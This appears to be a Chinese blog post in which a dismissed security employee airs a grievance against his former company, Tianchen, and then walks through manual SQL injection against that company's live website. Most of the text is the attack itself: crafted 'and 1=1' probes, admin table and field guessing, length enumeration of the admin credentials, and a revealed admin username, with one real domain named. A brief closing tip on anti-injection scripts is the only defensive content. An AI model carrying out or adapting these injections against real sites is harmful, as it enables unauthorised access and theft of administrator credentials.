先发点牢骚,刚刚了一个陌生的城市(上海),很容易找到了个公司上班了,那就是天晨,在他们公司我负责的是安全,在这里,我没天都是在检测安全,先是服务器,后是整站,呵呵,很清楚的记得,我上了八天班,在这八天里面,我都是认真很认真的去把没个漏洞,一个一个的补上,担心的事终于来到了,呵呵,不知道是我的问题还是其他原因公司经理找我了,呵呵说我XXXX原因,不能继续留在公司,呵呵意料之中,当天晚上回到了朋友家里,说真的以我以前的个性,他们公司的安全都是我做的,什么问题我应该很清楚,但我没那么做,也很奇怪的是,就在哪个时候服务器好象出了问题,呵呵,也许上天都在为我抱不平,好人做到底,发个Email给他们吧,安全还存在问题!今天的遭遇,我没怨过任何人,只能怪自己太傻!总结一下,自己真的太傻了!在这里只想说一句,朋友谢谢你送我的书,我不会忘记,但我也同时当着全网络的同行送你一句,做人要厚道!
最近在网络上看天晨设计整站的使用者也越来越多了,天晨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指天晨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪天晨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角啊?
一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交
http://***.com/view.asp?
action=art&art_id=70 and 1=1 返回。
再次输入
http://***.com/view.asp?
action=art&art_id=70%20and%201=2 返回
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。
二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊,NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.com/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin)
现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。
三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“天晨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性啊)
废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.com/view.asp?
action=art&art_id=70%20and%201=(select%20count
(*)%20from%20admin%20where%20len(name)??0)
(*_*不是啊!不是NAME字段啊)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0)
(这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0)
信息回显正常对吧!?哈哈哈
说到这里整个猜解就差不多完场了!(什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“天晨”是管理员账号。我们就有两种可能性,一是天晨的拼音“tianchen或tinzn”,二是天晨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。然后再提交
http://fj126.com/view.asp?
action=art&art_id=70%20and%201
=(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)这下子页面可算是正常了!然后再次提交语句为
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)
这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:tinzn是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!
四,总结
整个程序的SQL注入页面有几个,都是基于天晨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到本人BLOG或者发Email找我!